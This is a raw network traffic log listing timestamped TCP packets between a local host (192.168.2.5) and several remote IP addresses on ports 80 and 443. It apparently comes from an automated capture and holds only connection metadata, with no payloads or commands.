Nov 28, 2024 06:48:39.126904011 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:39.126925945 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:39.126940966 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:39.126976013 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:39.127058983 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:39.127108097 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:39.127713919 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:39.127759933 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:39.127784967 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:39.127800941 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:39.127819061 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:39.127840042 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:39.127895117 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:39.127940893 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:39.128567934 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:39.128628969 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:39.128669024 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:39.128683090 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:39.128711939 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:39.128725052 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:39.128776073 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:39.128822088 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:39.129426003 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:39.129484892 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:39.129503012 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:39.129518032 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:39.129553080 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:39.129628897 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:39.129676104 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:39.130306959 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:39.130363941 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:39.130404949 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:39.130419016 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:39.130440950 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:39.130466938 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:39.130506039 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:39.130547047 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:39.131145000 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:39.131207943 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:39.131208897 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:39.131222963 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:39.131243944 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:39.131264925 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:39.131346941 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:39.131407022 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:39.131967068 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:39.132033110 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:39.157845974 CET	443	49834	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:39.158516884 CET	49834	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:39.158531904 CET	443	49834	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:39.158988953 CET	49834	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:39.158993006 CET	443	49834	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:39.542540073 CET	443	49835	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:39.542612076 CET	443	49835	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:39.542681932 CET	49835	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:39.546540976 CET	443	49832	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:39.546595097 CET	443	49832	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:39.546678066 CET	49832	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:39.552237988 CET	49835	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:39.552261114 CET	443	49835	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:39.552288055 CET	49835	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:39.552294016 CET	443	49835	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:39.554688931 CET	49832	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:39.554702997 CET	443	49832	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:39.554718971 CET	49832	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:39.554725885 CET	443	49832	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:39.559223890 CET	49838	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:39.559253931 CET	443	49838	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:39.559353113 CET	49838	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:39.560576916 CET	443	49836	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:39.560637951 CET	443	49836	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:39.560681105 CET	49836	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:39.564302921 CET	49838	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:39.564311981 CET	443	49838	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:39.564600945 CET	49839	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:39.564640999 CET	443	49839	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:39.564702034 CET	49839	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:39.564812899 CET	49836	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:39.564822912 CET	443	49836	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:39.564831972 CET	49836	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:39.564836025 CET	443	49836	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:39.565907001 CET	49839	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:39.565923929 CET	443	49839	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:39.568011999 CET	49840	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:39.568037033 CET	443	49840	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:39.568114996 CET	49840	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:39.568285942 CET	49840	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:39.568300009 CET	443	49840	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:39.611131907 CET	443	49834	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:39.611179113 CET	443	49834	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:39.611222982 CET	49834	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:39.614705086 CET	49834	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:39.614713907 CET	443	49834	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:39.614723921 CET	49834	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:39.614728928 CET	443	49834	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:39.626394033 CET	49841	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:39.626410007 CET	443	49841	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:39.626472950 CET	49841	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:39.627284050 CET	49841	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:39.627295017 CET	443	49841	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:39.681061029 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:39.681130886 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:39.741847038 CET	443	49833	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:39.742677927 CET	49833	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:39.742693901 CET	443	49833	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:39.744436026 CET	49833	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:39.744440079 CET	443	49833	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:39.797765970 CET	443	49837	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:39.798240900 CET	49837	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:39.798260927 CET	443	49837	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:39.798841953 CET	49837	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:39.798846960 CET	443	49837	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:39.798901081 CET	49837	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:39.798906088 CET	443	49837	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:39.808008909 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:39.808023930 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:40.202491999 CET	443	49833	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:40.202585936 CET	443	49833	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:40.202733040 CET	49833	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:40.202878952 CET	49833	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:40.202878952 CET	49833	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:40.202898026 CET	443	49833	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:40.202905893 CET	443	49833	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:40.206151962 CET	49842	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:40.206176996 CET	443	49842	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:40.206378937 CET	49842	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:40.206486940 CET	49842	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:40.206502914 CET	443	49842	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:40.655232906 CET	443	49837	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:40.655253887 CET	443	49837	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:40.655332088 CET	443	49837	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:40.655366898 CET	49837	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:40.655390978 CET	443	49837	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:40.655401945 CET	49837	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:40.655714989 CET	49837	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:40.655736923 CET	443	49837	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:40.655747890 CET	49837	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:40.655889034 CET	443	49837	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:40.655925989 CET	443	49837	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:40.656049967 CET	49837	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:40.707318068 CET	49843	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:40.707364082 CET	443	49843	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:40.707501888 CET	49843	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:40.707665920 CET	49843	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:40.707676888 CET	443	49843	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:40.803323030 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:40.803383112 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:40.855899096 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:40.979659081 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:41.101371050 CET	443	49838	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:41.102479935 CET	49838	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:41.102502108 CET	443	49838	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:41.103214979 CET	49838	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:41.103219986 CET	443	49838	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:41.295073032 CET	443	49840	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:41.295717001 CET	49840	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:41.295742989 CET	443	49840	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:41.296186924 CET	49840	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:41.296195984 CET	443	49840	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:41.310082912 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:41.310110092 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:41.310122013 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:41.310170889 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:41.310209990 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:41.313102961 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:41.379514933 CET	443	49839	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:41.380104065 CET	49839	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:41.380130053 CET	443	49839	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:41.380605936 CET	49839	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:41.380610943 CET	443	49839	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:41.417212963 CET	443	49841	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:41.417752981 CET	49841	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:41.417783022 CET	443	49841	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:41.418204069 CET	49841	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:41.418215036 CET	443	49841	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:41.439142942 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:41.544167042 CET	443	49838	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:41.544223070 CET	443	49838	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:41.544290066 CET	49838	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:41.544574976 CET	49838	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:41.544595957 CET	443	49838	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:41.544610023 CET	49838	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:41.544615030 CET	443	49838	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:41.547753096 CET	49844	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:41.547789097 CET	443	49844	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:41.547858000 CET	49844	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:41.548012018 CET	49844	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:41.548027039 CET	443	49844	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:41.740490913 CET	443	49840	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:41.740562916 CET	443	49840	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:41.740632057 CET	49840	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:41.740938902 CET	49840	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:41.740938902 CET	49840	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:41.740959883 CET	443	49840	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:41.740978956 CET	443	49840	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:41.745734930 CET	49845	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:41.745763063 CET	443	49845	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:41.745853901 CET	49845	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:41.746015072 CET	49845	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:41.746026993 CET	443	49845	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:41.771956921 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:41.772032022 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:41.788008928 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:41.830993891 CET	443	49839	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:41.831056118 CET	443	49839	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:41.831240892 CET	49839	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:41.831346989 CET	49839	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:41.831362963 CET	443	49839	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:41.831372976 CET	49839	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:41.831381083 CET	443	49839	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:41.834359884 CET	49846	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:41.834383011 CET	443	49846	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:41.834698915 CET	49846	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:41.834850073 CET	49846	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:41.834866047 CET	443	49846	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:41.871021032 CET	443	49841	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:41.871078014 CET	443	49841	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:41.871360064 CET	49841	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:41.872230053 CET	49841	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:41.872247934 CET	443	49841	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:41.872385025 CET	49841	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:41.872390985 CET	443	49841	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:41.876017094 CET	49847	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:41.876049042 CET	443	49847	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:41.876272917 CET	49847	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:41.876431942 CET	49847	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:41.876445055 CET	443	49847	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:41.911701918 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:42.063047886 CET	443	49842	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:42.063569069 CET	49842	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:42.063597918 CET	443	49842	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:42.064110041 CET	49842	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:42.064117908 CET	443	49842	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:42.524060011 CET	443	49842	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:42.524136066 CET	443	49842	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:42.525384903 CET	49842	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:42.525429964 CET	49842	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:42.525454044 CET	443	49842	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:42.525466919 CET	49842	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:42.525477886 CET	443	49842	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:42.528341055 CET	49848	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:42.528387070 CET	443	49848	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:42.528486013 CET	49848	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:42.528656006 CET	49848	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:42.528670073 CET	443	49848	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:42.609952927 CET	443	49843	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:42.610596895 CET	49843	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:42.610615015 CET	443	49843	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:42.611335993 CET	49843	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:42.611341953 CET	443	49843	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:42.611373901 CET	49843	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:42.611381054 CET	443	49843	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:42.730572939 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:42.730652094 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:42.759296894 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:42.883229971 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:43.212294102 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:43.212354898 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:43.219759941 CET	49849	80	192.168.2.5	185.215.113.16
Nov 28, 2024 06:48:43.274616003 CET	443	49844	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:43.276792049 CET	49844	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:43.276817083 CET	443	49844	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:43.277636051 CET	49844	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:43.277642965 CET	443	49844	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:43.343523026 CET	80	49849	185.215.113.16	192.168.2.5
Nov 28, 2024 06:48:43.345473051 CET	49849	80	192.168.2.5	185.215.113.16
Nov 28, 2024 06:48:43.414263964 CET	49849	80	192.168.2.5	185.215.113.16
Nov 28, 2024 06:48:43.424360991 CET	443	49843	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:43.424396038 CET	443	49843	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:43.424438953 CET	443	49843	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:43.424506903 CET	443	49843	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:43.424513102 CET	49843	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:43.424576998 CET	49843	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:43.461484909 CET	49843	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:43.461523056 CET	443	49843	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:43.461538076 CET	49843	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:43.461544991 CET	443	49843	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:43.538005114 CET	80	49849	185.215.113.16	192.168.2.5
Nov 28, 2024 06:48:43.538800001 CET	443	49845	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:43.570532084 CET	443	49846	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:43.581067085 CET	49845	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:43.612543106 CET	49846	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:43.667454958 CET	443	49847	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:43.695415974 CET	49845	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:43.695426941 CET	443	49845	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:43.695904970 CET	49845	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:43.695910931 CET	443	49845	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:43.700871944 CET	49846	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:43.700886965 CET	443	49846	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:43.701334953 CET	49846	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:43.701340914 CET	443	49846	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:43.702248096 CET	49847	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:43.702260971 CET	443	49847	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:43.702657938 CET	49847	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:43.702661991 CET	443	49847	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:43.717175961 CET	443	49844	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:43.717242956 CET	443	49844	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:43.717288017 CET	49844	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:43.717433929 CET	49844	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:43.717449903 CET	443	49844	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:43.717458963 CET	49844	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:43.717463970 CET	443	49844	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:43.718045950 CET	49850	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:43.718085051 CET	443	49850	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:43.718199968 CET	49850	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:43.718822956 CET	49850	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:43.718833923 CET	443	49850	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:43.721564054 CET	49851	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:43.721590996 CET	443	49851	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:43.721776962 CET	49851	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:43.721926928 CET	49851	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:43.721937895 CET	443	49851	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:44.061146021 CET	443	49846	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:44.061203957 CET	443	49846	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:44.061273098 CET	49846	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:44.061290979 CET	443	49845	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:44.061403990 CET	443	49845	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:44.061460018 CET	49845	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:44.061589956 CET	49846	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:44.061606884 CET	443	49846	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:44.061633110 CET	49846	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:44.061638117 CET	443	49846	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:44.062827110 CET	49845	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:44.062848091 CET	443	49845	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:44.062859058 CET	49845	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:44.062865973 CET	443	49845	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:44.065761089 CET	49852	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:44.065804005 CET	443	49852	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:44.065928936 CET	49852	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:44.066751957 CET	49852	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:44.066768885 CET	443	49852	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:44.069013119 CET	49853	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:44.069046974 CET	443	49853	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:44.069175959 CET	49853	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:44.069339037 CET	49853	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:44.069353104 CET	443	49853	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:44.163275957 CET	443	49847	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:44.163340092 CET	443	49847	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:44.163615942 CET	49847	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:44.163682938 CET	49847	443	192.168.2.5	13.107.246.63
